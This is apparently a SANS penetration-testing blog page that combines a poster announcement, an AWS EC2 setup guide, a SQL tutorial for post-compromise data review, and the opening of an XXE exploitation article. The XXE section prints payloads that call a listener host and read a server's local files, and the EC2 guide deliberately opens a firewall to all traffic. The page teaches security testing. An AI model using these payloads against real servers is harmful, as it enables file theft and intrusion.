SANS Poster: Building a Better Pen Tester – PDF Download

 

Blog Post by: SANS Pen Test Team

 

It’s here! It’s here! The NEW SANS Penetration Testing Curriculum Poster has arrived (in PDF format)!

This blog post is for the downloadable PDF version of the new “Blueprint: Building a Better Pen Tester” Poster created by the SANS Pen Test Curriculum.

The front of the poster is full of useful information directly from the brains of SANS Pen Test Instructors. These are the pen testing tips they share with the students of SANS SEC560: Network Penetration Testing and Ethical Hacking and our other pen testing, ethical hacking, exploit dev, and vulnerability assessment courses.

The back of the poster has a checklist for scoping and rules of engagement, command line commands for Metasploit, Scapy, Nmap, and PowerShell, and information about Slingshot and the SANS Pen Test Curriculum.

Our hope is, the knowledge contained in this poster will help you become a better pen tester. And if you aren’t currently a pen tester, that the information will you help you become a more informed information security professional.

Training: Learn ethical hacking and penetration testing with one of our world-class instructors by taking, SEC560: Network Penetration Testing and Ethical Hacking in person or online.

Download:

PENT-PSTR-SANS18-BP-V1-01

PENT-PSTR-SANS18-BP-V1-02

Download: PENT-PSTR-SANS18-BP-V1_web

 

SANS Webcast – Building A Better Pen Tester Poster

EdSkoudis_PenTestPoster_Blueprint_02_01092018

YouTube: https://youtu.be/feljUh5Q6V0

Desktop Wallpapers:

Click image for full-sized wallpaper file

Blueprint_Wallpaper_Pre-Eng&ReconPre-Engagement & Reconnaissance

 

Blueprint_Wallpaper_VA&PAVulnerability Analysis & Password Attacks

 

Blueprint_Wallpaper_Exp&Post-ExpExploitation & Post-Exploitation

 

Blueprint_Wallpaper_RE&ScopingRules of Engagement & Scoping Checklist

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2)

By Jeff McJunkin
Counter Hack

Hello, dear readers! Many times when penetration testing, playing CTF’s, or experimenting with new tools, I find myself needing ready access to a Linux installation of my choosing, a public IPv4 address, and…well, not a lot else really. I like Virtual Private Servers (VPSs) for this purpose – essentially a VM hosted by somebody else, so I don’t have to walk through Yet Another Linux Installation.

There are a number of VPS providers. I use Amazon Web Services, DigitalOcean, and Linode pretty frequently. Today, I’ll talk about getting started with Amazon Web Services, as they have a really nice deal to get your Linux (and Windows!) VPS fix for free*.

* Well, free for the first year, anyway. About $8.75 per month thereafter for Linux (~$12 for Windows), depending on bandwidth utilization and such.

To read more about Amazon’s offer, you can browse here. Some services are only free for the first year of a new account (like the EC2 instances I’ll be talking about today), whereas others are free forever (with usage limitations).

free_tier_offer

Okay, how does one go about setting up a new Amazon account? I admit my primary account was made before a free tier existed, so sadly my personal account doesn’t get access to those services. So I’ll walk through the setup on my Counter Hack email, instead. Shall we play a game?

Signing up for Amazon Web Services

First, browse to Amazon Web Services and click Sign Up in the upper-right corner.

You’ll see a page like the following. Fill out the requested information.
sign_up

After you click Continue, Amazon will send you a confirmation email. You don’t have to click on anything in the email. Amazon will ask for more information, as shown in the following screenshot:

contact_info

Note: I am not Jenny. Please don’t call her.

I also had to do a phone verification and CAPTCHA, assumedly to make sure people aren’t signing up for thousands of free tier accounts. For some reason I’m sure I can’t understand, Amazon isn’t using Google’s reCAPTCHA service (though to be honest, I’m tired of filling out reCAPTCHA’s for new accounts on Twitter).

phone_verificationphone_verification_complete

Note: I am still not Jenny. But her number does work is registered on a surprising number of in-store reward programs…

 

After filling out that last bit of info, you should arrive at a management screen that looks much like the following:

login_upperleft

Note that you’re automatically dropped into one of Amazon’s many sites. In my case, this management console is for us-east-2. You can see the other sites available in the upper right of the same page:

login_upperright

(Pro-tip: When doing penetration tests in a foreign country, talk to your lawyer, but consider setting up a server in the same foreign country. It can make dealing with international computer crimes laws considerably easier, since your scanning and C2 traffic will originate and terminate in the same country. I Am Not A Lawyer, this is not legal advice, etc.)

In my case, I’ll set up a new EC2 instance (or “server”, essentially, but you’ll probably hear the EC2 terminology) in us-east-2, so I don’t have to choose a new region. You may want to choose a region physically closer to you – for example, I live in Oregon, and there is an Oregon datacenter that should have lower latency.

To set up my new and free (for a year) server, I’ll click on Services, then on EC2 under the Compute section. There are certainly a lot of other Amazon Web Services available, but today we’ll limit ourselves to EC2.

services_ec2

Here we are at the EC2 Management Console. There are lots of options available, but let’s start by making our free Linux instance. Click on Launch Instance.

ec2_management_consoleEC2 Management Console

There are seven steps to creating an instance, though the process can be streamlined and automated. In Step 1 (shown below), scroll down and find Ubuntu Server 16.04 LTS (HVM), SSD Volume Type – ami-82f4dae7, then click Select.

ec2_step1

Make sure t2.micro is selected (it was select for me by default), then click Next: Configure Instance Details. After you get your security groups and SSH keys set up, you can use Review and Launch, but let’s go one step at a time to make things easier.
ec2_step2

We don’t need to specify any of the options in Step 3 (we’re not launching multiple instances simultaneously, setting up more advanced network settings, etc.) so go ahead and click Next: Add Storage.
ec2_step3

Next we’re at the storage section. t2.micro instances only use Amazon’s Elastic Block Storage service or EBS for short. EBS is free for up to 30 gigabytes for the first year of utilization, so you’re safe to increase the default 8 gigabytes to 15 gigabytes under Size (GiB) for the Root volume:
ec2_step4
ebs_free_tier

Hopefully gigabytes vs gibibytes doesn’t result in a few pennies a month in charges. Make it a baker’s dozen of gigabytes if you want to play it safe.

Next, on step 5, we have the option of adding tags, which are convenient for automation and for keeping track of which instances are doing which tasks. For our tasks, though, we can just click Next: Configure Security Group to move to the next step.
ec2_step5

Next up is step 6, where we configure the security group for our new instance. By default, Amazon only allows SSH traffic, controlled by a default security policy. If you open up a netcat listener on port 8000 you won’t be able to reach that port from across the internet (even if you configure iptables locally to permit that access).
ec2_step6

For the purpose of easily using our public IPv4 address with any TCP or UDP port I’ve configured Amazon to allow all traffic to this new instance. First, click on Type and select All traffic, then set the Source to Custom with 0.0.0.0/0 as the source range. In CIDR notation, /0 means the entire IPv4 internet. I named the security group appropriately as lolsecurity, because I am essentially disabling the Amazon network firewall. Click Review and Launch to move on once you’re done.
ec2_step6_continued

Step 7 lets us review the settings we’ve done in the prior steps before launching our new instance. You may want to double-check your work here, but click Launch when you’re ready.

EC2 Instance Creation - Step 7ec2_step7

Surprise! We’re not quite done. Amazon doesn’t normally allow password-based authentication to Linux instances (a practice I agree with), so we need to configure SSH key-based authentication.

ec2_keypairs

In the first dropdown, select Create a new key pair, then choose a name. I wasn’t terribly creative, and I went with ec2 as the keypair name.
ec2_keypairs_2

Click Download Key Pair, then click the plurality-challenged Launch Instances button. Woohoo!
ec2_keypairs_3

Now we have a keypair and the resulting screen shows that our new instance has launched. Click on the instance name (i-02eb1e17779d19ee2 in my case) to get more details on that instance.
ec2_instance_launched

Here we see more information about this instance in particular. Note the built-in DNS name under Public DNS: ec2-18-217-213-237.us-east-2.compute.amazonaws.com in my case.
ec2_instance_running

Ubuntu discourages direct use of the root account, so the actual account name that is automatically created is called ubuntu (case sensitive). If you’re coming from a macOS, Linux machine, or Windows 10 with bash installed, you can use the downloaded SSH key (ec2.pem in my case) and log in as follows, accepting the SSH host key by pressing y and Enter when asked:

jeff@blue:~/Downloads$ ssh -i ec2.pem ec2-user@ec2-18-217-213-237.us-east-2.compute.amazonaws.com
The authenticity of host 'ec2-18-217-213-237.us-east-2.compute.amazonaws.com (18.217.213.237)' can't be established.
ECDSA key fingerprint is SHA256:9SChnVhpbky3+Jg06Dtzw6F2Vp+cUGDwf9F1q9A/+9A.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ec2-18-217-213-237.us-east-2.compute.amazonaws.com,18.217.213.237' (ECDSA) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0664 for 'ec2.pem' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "ec2.pem": bad permissions
Permission denied (publickey).

I, uh, totally meant to demonstrate that issue. By default, your freshly-downloaded SSH private key will have permissions that are excessive. The ssh client wants to discourage other people from being able to read your private key, so it doesn’t allow use of insecure private keys. If we’re in the same directory as the SSH key, we can fix the permissions on macOS or Linux by running the following command:

jeff@blue:~/Downloads$ chmod 600 ec2.pem

Now, let’s give ssh-ing in another shot, shall we?

jeff@blue:~/Downloads$ ssh -i ec2.pem ubuntu@ec2-18-217-213-237.us-east-2.compute.amazonaws.com
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-1041-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  Get cloud support with Ubuntu Advantage Cloud Guest:
    http://www.ubuntu.com/business/services/cloud

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@ip-172-31-29-177:~$ 

Ah, now that’s much better. Run sudo -i to switch to running as the root user, as necessary.

Using Windows and PuTTY to Connect to Your Amazon Instance

If you’re using Windows (and not bash on Windows 10), you will need to set up an SSH client such as PuTTY. PuTTY uses a different format for the SSH key, so you’ll need to convert the PEM-format download you got from Amazon. Download and install PuTTY from their installation page if you haven’t already installed it.

Next, start up PuTTYgen to convert that SSH key.

PuTTYgen_1

Click on Load, to the right of Load an existing private key. Browse to the folder where you downloaded the Amazon EC2 private key, click the drop-down labeled **PuTTY Private Key Files (*.ppk) and choose All Files (*.*)**, then select the downloaded EC2 private key.
PuTTYgen_2

PuTTYgen will let you know it has successfully imported the private key. Next we’ll need to save it in PuTTY’s own format. Click OK.
PuTTYgen_3

Next, click on Save private key on the main PuTTYgen window.
PuTTYgen_4

SSH keys can be encrypted with a password, but I’ll skip setting one in this case. “It’s not for production” is a great excuse, isn’t it? I use that one rather often.
PuTTYgen_5

Choose a download location and file name, then click Save.
PuTTYgen_6

Okay, we’re done with PuTTYgen. Close PuTTYgen and open PuTTY.
PuTTY_1

Type ubuntu@ and the Public DNS name we got from Amazon earlier into the Host Name (or IP address) window.
PuTTY_2

Next, click the plus icon on Connection in the left menu pane, then SSH, then Auth. Click Browse to find the private SSH key we exported just now from PuTTYgen.
PuTTY_3

Select your PuTTYgen-generated private key and click Open.
PuTTY_4

Next, go back to the Session area of PuTTY. I highly recommend saving these session settings by typing a name under Saved Sessions. I chose another uninteresting name of ec2-freetier. Click Save after you’ve pondered and typed an appropriate name.
PuTTY_5

Click Open to connect to your new Amazon instance once you’ve saved the session. You’ll get an SSH host key warning, since this is the first time you’ve connected to this new IP/hostname:port:SSH server combination.
PuTTY_6

Finally, you’re in that remote SSH session using PuTTY! The conversion process is only a one-time pain, so using PuTTY can be pretty convenient.
PuTTY_7

Conclusion

Using public cloud resources doesn’t have to be a pain, but there’s some setup work that isn’t entirely intuitive. Using these directions you can get a free t2.micro Linux server for a full year. You can actually also run a t2.micro Windows instance online for a year for free, too!

I hope this helps! Enjoy your holiday hacking season, and I hope you enthusiastically partake of any challenges that life (or Counter Hack and SANS) sends your way. :)

Until next time…

– Jeff McJunkin

@jeffmcjunkin

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Your Pokemon Guide for Essential SQL Pen Test Commands

By Joshua Wright
Counter Hack

As a pen tester, it’s not enough to exploit targets and get shells. That’s great (and it’s a big part of what we do), but the real value to the customer is to demonstrate what the effective risk is from the successful exploitation of a vulnerability. In order to answer this question, I find myself interrogating data on compromised systems, trying to make sense of what’s available and what the disclosure of the data will mean to my customer.

Often, I find myself looking at a bunch of data in a SQL database. This might be a native SQL database (usually MSSQL, SQLite3, MySQL, Oracle, etc.), but sometimes it’s a database I’ve created by importing CSV files, JSON data, or other data formats. As a former DBA (a long, long time ago) I feel really comfortable at a SQL> prompt. In this article I’ll offer some quick tips on getting useful data out of a database.

I’m going to use a Pokémon Pokedex SQLite3 database as my data source for examples. This database is the labor-of-love project from Eevee. Special thanks to Eevee for making this complex database available.

Data Structures

Identify the structure of tables, indexes, and other objects using the .schema command:

sqlite> .schema
CREATE TABLE item_pockets (
id INTEGER NOT NULL,
identifier VARCHAR(79) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE pokeathlon_stats (
id INTEGER NOT NULL,
identifier VARCHAR(79) NOT NULL,
PRIMARY KEY (id)
);
...

This database has several tables. If you want to look at the structure of a single table, specify a table:

sqlite> .schema pokemon
CREATE TABLE pokemon (
id INTEGER NOT NULL,
identifier VARCHAR(79) NOT NULL,
species_id INTEGER,
height INTEGER NOT NULL,
weight INTEGER NOT NULL,
base_experience INTEGER NOT NULL,
"order" INTEGER NOT NULL,
is_default BOOLEAN NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(species_id) REFERENCES pokemon_species (id),
CHECK (is_default IN (0, 1))
);
CREATE INDEX ix_pokemon_order ON pokemon ("order");
CREATE INDEX ix_pokemon_is_default ON pokemon (is_default);

Note that the .schema command is very SQLite-specific. Other databses use SHOW TABLES and DESC tablename instead. Most of the other commands shown in this article are generic enough to work across any database.

Retrieving Some or All

We retrieve data from the database using the SQL SELECT statement (I’ve also issued the SQLite3 .headers command to turn on column labels:

sqlite> select * from pokemon;
id|identifier|species_id|height|weight|base_experience|order|is_default
1|bulbasaur|1|7|69|64|1|1
2|ivysaur|2|10|130|142|2|1
3|venusaur|3|20|1000|236|3|1
4|charmander|4|6|85|62|5|1
5|charmeleon|5|11|190|142|6|1
6|charizard|6|17|905|240|7|1
7|squirtle|7|5|90|63|10|1
8|wartortle|8|10|225|142|11|1
9|blastoise|9|16|855|239|12|1
10|caterpie|10|3|29|39|14|1
...

By specifying the *, we note that we want to retrieve all of the columns. If you only want a few specific columns, specify the columns you want by name in the order you want them to appear:

sqlite> select id, identifier, weight, height from pokemon;
id|identifier|weight|height
1|bulbasaur|69|7
2|ivysaur|130|10
3|venusaur|1000|20
4|charmander|85|6
5|charmeleon|190|11
6|charizard|905|17
7|squirtle|90|5
8|wartortle|225|10
9|blastoise|855|16
10|caterpie|29|3
...

The pokemon table has a lot of records in it. If you only want the first 5 records, add LIMIT 5 to the end of your query:

sqlite> select id, identifier, weight, height, "order" from pokemon limit 5;
id|identifier|weight|height|order
1|bulbasaur|69|7|1
2|ivysaur|130|10|2
3|venusaur|1000|20|3
4|charmander|85|6|5
5|charmeleon|190|11|6

Unique Data

Individual rows of data will often have duplicate values present. We can get a unique list of the values present by using the DISTINCT modifier in a query. For example, consider the structure of the Pokedex contest_type_names table:

sqlite> .schema contest_type_names
CREATE TABLE contest_type_names (
contest_type_id INTEGER NOT NULL,
local_language_id INTEGER NOT NULL,
name VARCHAR(79),
flavor TEXT,
color TEXT,
PRIMARY KEY (contest_type_id, local_language_id),
FOREIGN KEY(contest_type_id) REFERENCES contest_types (id),
FOREIGN KEY(local_language_id) REFERENCES languages (id)
);
CREATE INDEX ix_contest_type_names_name ON contest_type_names (name);
sqlite> select * from contest_type_names;
contest_type_id|local_language_id|name|flavor|color
1|5|Sang-froid|Épicé|Rouge
1|9|Cool|Spicy|Red
2|5|Beauté|Sec|Bleu
2|9|Beauty|Dry|Blue
3|5|Grâce|Sucré|Rose
3|9|Cute|Sweet|Pink
4|5|Intelligence|Amère|Vert
4|9|Smart|Bitter|Green
5|5|Robustesse|Acide|Jaune
5|9|Tough|Sour|Yellow
1|10||Ostrá|
5|10|Síla||
2|10|Krása|Suchá|

The return data set is fairly small, but we can focus it further. What if we are only interested in the unique color assignments given to Pokémon contest types?

sqlite> select distinct(color) from contest_type_names;
Rouge
Red
Bleu
Blue
Rose
Pink
Vert
Green
Jaune
Yellow

Conditional Expressions

Often you’ll want to filter the returned data with a conditional expression, denoted with a WHERE clause. Using a WHERE clause allows you to specify the nature of the data you want returned, matching one or more columns to values you specify. For example, what if we only want to see information about Pikachu in the pokemon table?

sqlite> .schema pokemon
CREATE TABLE pokemon (
id INTEGER NOT NULL,
identifier VARCHAR(79) NOT NULL,
species_id INTEGER,
height INTEGER NOT NULL,
weight INTEGER NOT NULL,
base_experience INTEGER NOT NULL,
"order" INTEGER NOT NULL,
is_default BOOLEAN NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(species_id) REFERENCES pokemon_species (id),
CHECK (is_default IN (0, 1))
);
CREATE INDEX ix_pokemon_order ON pokemon ("order");
CREATE INDEX ix_pokemon_is_default ON pokemon (is_default);
sqlite> select * from pokemon where identifier = "pikachu";
id|identifier|species_id|height|weight|base_experience|order|is_default
25|pikachu|25|4|60|112|32|1

In addition to using matching expressions, SQLite3 also supports common comparison operators, shown here:

Operator Meaning
= Equal to
!= Not equal to
< Less than
> Greater than
<= Less than or equal to
>= Greater than or equal to

 

Let’s use this to find out if there are any Pokémon smaller than Pikachu (who appears to be 4 decimeters from the previous query):
sqlite> select identifier from pokemon where height < 4;
caterpie
weedle
pidgey
rattata
spearow
paras
...

We can combine multiple WHERE expressions together too. For example, what Pokémon are taller than Pikachu but weigh less? (Note that here I’ve pressed Enter to start a new line, prompting SQLite3 to produce a continuation prompt of ...>.)

sqlite> select identifier, height, weight from pokemon
...> where height < 4 and weight > 190;
klink|3|210
durant|3|330

Wildcards

SQL allows you to specify wildcards in your WHERE clauses, using the keyword LIKE and _ to match any single character, or LIKE and % to match a group of characters. Using the pokemon_species_name table, let’s identify all the genus values that match Dr at the beginning of the line:

sqlite> .schema pokemon_species_names
CREATE TABLE pokemon_species_names (
pokemon_species_id INTEGER NOT NULL,
local_language_id INTEGER NOT NULL,
name VARCHAR(79),
genus TEXT,
PRIMARY KEY (pokemon_species_id, local_language_id),
FOREIGN KEY(pokemon_species_id) REFERENCES pokemon_species (id),
FOREIGN KEY(local_language_id) REFERENCES languages (id)
);
CREATE INDEX ix_pokemon_species_names_name ON pokemon_species_names (name);
sqlite> select name, genus from pokemon_species_names where genus like 'Dr%';
name|genus
Nidoqueen|Drill
Nidoking|Drill
Rhydon|Drill
Hypotrempe|Dragon
Seeper|Drache
Horsea|Dragón
Horsea|Drago
Horsea|Dragon
...
Simipour|Drenaje
Munna|Dream Eater
Musharna|Drowsing
Muplodocus|Dragon
Viscogon|Drache
Goodra|Dragón
...

Notice that some of the genus types are Dragon and Dragón. If we want to match either of those two, we can use the _ modifier to match the o and ó characters:

sqlite> select name, genus from pokemon_species_names where genus like 'Drag_n';
name|genus
Hypotrempe|Dragon
Horsea|Dragón
Horsea|Dragon
Hypocéan|Dragon
Seadra|Dragón
Seadra|Dragon
Minidraco|Dragon
Dratini|Dragón
Dratini|Dragon
Draco|Dragon
...

You can also search for the middle portion of a matching string by adding % to the beginning and the end of the expression. For example, we can search for any genus with the word eat:

sqlite> select name, genus from pokemon_species_names
...> where genus like '%eat%';
name|genus
Castform|Weather
Munchlax|Big Eater
Munna|Dream Eater
Heatmor|Anteater

Although it doesn’t show in this output, %eat% will match values starting or ending with eat as well (e.g. there doesn’t have to be preceding or following characters to be a match).

Ordering Data

Sometimes you want to change the order of the data being returned. No problem, simply enter ORDER BY followed by the column you want to use. You can add multiple comma-separated columns in the ORDER BY clause as well. By default, values are listed in ascending order, but this can be modified by adding the keyword DESCENDING to the end of the ORDER BY expression.

For example, the abilities table in the Pokémon database discloses the identifier information, sorted by default using the id field. If you want to change the sort order to the generation_id column, add an ORDER BY clause:

sqlite> .schema abilities
CREATE TABLE abilities (
id INTEGER NOT NULL,
identifier VARCHAR(79) NOT NULL,
generation_id INTEGER NOT NULL,
is_main_series BOOLEAN NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(generation_id) REFERENCES generations (id),
CHECK (is_main_series IN (0, 1))
);
CREATE INDEX ix_abilities_is_main_series ON abilities (is_main_series);
sqlite> select * from abilities order by generation_id;
id|identifier|generation_id|is_main_series
1|stench|3|1
2|drizzle|3|1
3|speed-boost|3|1
4|battle-armor|3|1
5|sturdy|3|1
6|damp|3|1
7|limber|3|1
...
162|victory-star|5|1
163|turboblaze|5|1
164|teravolt|5|1
10001|mountaineer|5|0
10002|wave-rider|5|0
10003|skater|5|0
10004|thrust|5|0
10005|perception|5|0
...
189|primordial-sea|6|1
190|desolate-land|6|1
191|delta-stream|6|1

Cross-table Queries

When people start out designing databases, people try and stuff everything into a single table, even if it’s not efficient or performance-wise to do so. Later, data that changes less frequently, or should be isolated from related records gets placed into a different table, sharing an identifier that allows us to query both tables to produce one set of results.

For example, consider the pokemon_species and pokemon_species_names tables shown below in SQL and visualized forms (courtesy of WWW SQL Designer.

sqlite> .schema pokemon_species
CREATE TABLE pokemon_species (
id INTEGER NOT NULL,
identifier VARCHAR(79) NOT NULL,
generation_id INTEGER,
evolves_from_species_id INTEGER,
evolution_chain_id INTEGER,
color_id INTEGER NOT NULL,
shape_id INTEGER NOT NULL,
habitat_id INTEGER,
gender_rate INTEGER NOT NULL,
capture_rate INTEGER NOT NULL,
base_happiness INTEGER NOT NULL,
is_baby BOOLEAN NOT NULL,
hatch_counter INTEGER NOT NULL,
has_gender_differences BOOLEAN NOT NULL,
growth_rate_id INTEGER NOT NULL,
forms_switchable BOOLEAN NOT NULL,
"order" INTEGER NOT NULL,
conquest_order INTEGER,
PRIMARY KEY (id),
FOREIGN KEY(generation_id) REFERENCES generations (id),
FOREIGN KEY(evolves_from_species_id) REFERENCES pokemon_species (id),
FOREIGN KEY(evolution_chain_id) REFERENCES evolution_chains (id),
FOREIGN KEY(color_id) REFERENCES pokemon_colors (id),
FOREIGN KEY(shape_id) REFERENCES pokemon_shapes (id),
FOREIGN KEY(habitat_id) REFERENCES pokemon_habitats (id),
CHECK (is_baby IN (0, 1)),
CHECK (has_gender_differences IN (0, 1)),
FOREIGN KEY(growth_rate_id) REFERENCES growth_rates (id),
CHECK (forms_switchable IN (0, 1))
);
CREATE INDEX ix_pokemon_species_order ON pokemon_species ("order");
CREATE INDEX ix_pokemon_species_conquest_order ON pokemon_species (conquest_order);
sqlite> .schema pokemon_species_names
CREATE TABLE pokemon_species_names (
pokemon_species_id INTEGER NOT NULL,
local_language_id INTEGER NOT NULL,
name VARCHAR(79),
genus TEXT,
PRIMARY KEY (pokemon_species_id, local_language_id),
FOREIGN KEY(pokemon_species_id) REFERENCES pokemon_species (id),
FOREIGN KEY(local_language_id) REFERENCES languages (id)
);

sqlcommands1

In these two tables, the data for name and genus is in a different table than the primary Pokémon species information. The pokemon_species_names data probably changes less often then the data in pokemon_species, and is a pretty reasonable design. However, how do we formulate a query across the two tables that returns the Pokémon identifier and genus in the same query?

The answer is in the SQL join capability. Take a look:

sqlite> select identifier, genus from pokemon_species, pokemon_species_names where
...> pokemon_species.id = pokemon_species_names.pokemon_species_id and
...> local_language_id = 9;
bulbasaur|Seed
ivysaur|Seed
venusaur|Seed
charmander|Lizard
charmeleon|Flame
charizard|Flame
squirtle|Tiny Turtle
wartortle|Turtle
blastoise|Shellfish
caterpie|Worm
...

Here I’ve selected columns from two tables. The WHERE clause tells SQL to associate records from pokemon_species with records from pokemon_species_id when the id and species_id columns match. I’ve also limited the output where local_language_id is 9, which is English.

In this example, identifier and genus are both unique names in the two different tables. If the column names match across two tables, you can use dot-notation to specify the full table name followed by the column name (e.g. pokemon_species.identifier, pokemon_species_id.genus).

Grouping Data

One powerful SQL statement we haven’t yet covered is the GROUP BY operator. Using GROUP BY, we can order the return results into groups. For example, adding GROUP BY genus to the previous query will order the results by the genus column:

sqlite> select identifier, genus from pokemon_species, pokemon_species_names
...> where pokemon_species.id = pokemon_species_names.pokemon_species_id and
...> local_language_id = 9 GROUP BY genus;
landorus|Abundance
seedot|Acorn
arceus|Alpha
chinchou|Angler
trapinch|Ant Pit
heatmor|Anteater
dedenne|Antenna
marill|Aqua Mouse
azumarill|Aqua Rabbit
hariyama|Arm Thrust

You may be thinking “this doesn’t really seem that useful…couldn’t we get the same result with ORDER BY instead?” You’d be correct, except that GROUP BY is often used with aggregate functions, one of the most powerful tools in your SQL arsenal.

Aggregate Functions

Aggregate functions are a kind of virtual column, allowing you to calculate simple operations on data in tables. Use an aggregate function to calculate a value using one of the following functions:

Function Meaning
COUNT Count the total records
MAX Identify the largest value
MIN Identify the smallest value
SUM Add the values together
AVG Calculate an average value

An aggregate function that I use all the time is COUNT. Want to know how many Pokémon fall into the genus of mouse?

sqlite> select count(genus) from pokemon_species_names
...> where genus = "Mouse" and local_language_id = 9;
6

OK, it was 6. That seems a little anti-climactic.

In this example, count(genus) is used to count the result set that matches the SELECT statement with the return clause. This is often used to simply count the total number of records in a table:

sqlite> .headers on
sqlite> select count(*) as "Total" from pokemon_species_names;
Total
6094

Here I also took the opportunity to demonstrate how we name an aggregate function column. Using the syntax AS "Total" after the aggregate function allows me to reference the aggregate column by name.

Aggregate functions become very useful when you combine them with the GROUP BY operator. Previously we looked for the number of Pokémon in the mouse genus, but what if we want to get a count of how many Pokémon belong to each of the genera? (NB: I had to Google “plural of genus” for that.)

sqlite> select count(name) count, genus from pokemon_species_names
...> where local_language_id = 9 group by genus order by count desc;
count|genus
8|Dragon
6|Mouse
6|Mushroom
5|Balloon
5|Flame
5|Fox
4|Bagworm
4|Bat
4|Cocoon
4|Drill
4|Fairy
4|Poison Pin
4|Seed
4|Tadpole
3|Big Jaw
3|Bivalve
3|Cottonweed
3|EleFish
3|Electric
3|Flower

The GROUP BY operator here groups each of the return results into a set by the specified genus column. By naming the aggregate function column “count”, I was able to reference it later in the ORDER BY clause as well.

Understanding GROUP BY, and aggregate functions is what gives you powerful tools for analyzing SQL data. Use it to identify the number of credit cards disclosed in a compromise, or credit card breach counts grouped by state that have mandatory breach reporting requirements, for example.

Whew! That was a lot of SQL for one article. Master these techniques though, and you’ll be well on your way to getting useful and meaningful data out of SQL databases in your pen-test post-compromise phase. For more interesting SQL lessons specifically using the Pokémon Pokedex database, check out Dandelion Mané’s PokemonSQLTutorial project too!

-Josh Wright
@joswr1ght

SANS Note:

Would you like (4) printed copies of the new SANS Penetration Testing Curriculum poster mailed directly to you?

poster_for_webcast

Then register for the upcoming webcast detailing the new poster, by Ed Skoudis, on January 9th at 1pm EST, and we will mail the printed posters to you after the webcast has aired.

This is for the brand new “Blueprint: Building a Better Pen Tester” poster.

Register now for this free educational webcast and to receive (4) printed copies of the new SANS Pen Test Poster!

Exploiting XXE Vulnerabilities in IIS/.NET

By Chris Davis

XXE (XML External Entity) attacks happen when an XML parser improperly processes input from a user that contains an external entity declaration in the doctype of an XML payload. This external entity may contain further code which allows an attacker to read sensitive data on the system or potentially perform other more severe actions.

This article will demonstrate the steps necessary to perform an XXE attack against IIS servers using the Microsoft .NET framework. However, this article will not go into great depth in explaining how these technologies fundamentally work. Please reference the useful links sections below if you would like to know more about these technologies.

XXE Exploitation

Below we can see an example of an external parameter entity named extentity being declared which uses the SYSTEM directive to load the contents of a URI. Then, %extentity; is called in order to trigger a HTTP GET request to the designated URI below.

<?xml version="1.0" encoding="utf-8"?-->
<!DOCTYPE demo [
     <!ELEMENT demo ANY >
     <!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil">
     %extentity;
     ]
>

Alternatively, this same directive could be used to access a file locally on a system:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
     [<!ELEMENT demo ANY >
     <!ENTITY % extentity SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
     %extentity;
     ]
>

However, XML has defined well-formed restrictions that would prohibit the above example. As such, the above example would not load our file at c:/inetpub/wwwroot/Views/secret_source.cshtml and would instead produce an error.

What about entity inception? We could try to embed an entity within an entity within our XML payload. For example:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity "<!ENTITY stolendata SYSTEM ‘file:///c:/inetpub/wwwroot/Views/secret_source.cshtml’>">
    %extentity;
    ]
<

Unfortunately, this is also not possible due to XML well-formed restrictions prohibiting external entities from being declared in the value.

We know that we cannot reference a file on our system but we can have the parser grab a resource from a URI. We could attempt to load a Data Type Definition (DTD) file to accomplish this instead. DTD files are files that are loaded prior to an XML file being parsed and tells the parser how to properly interpret an XML file. Let’s attempt to embed our restricted entity payloads in our DTD file to bypass these restrictions.

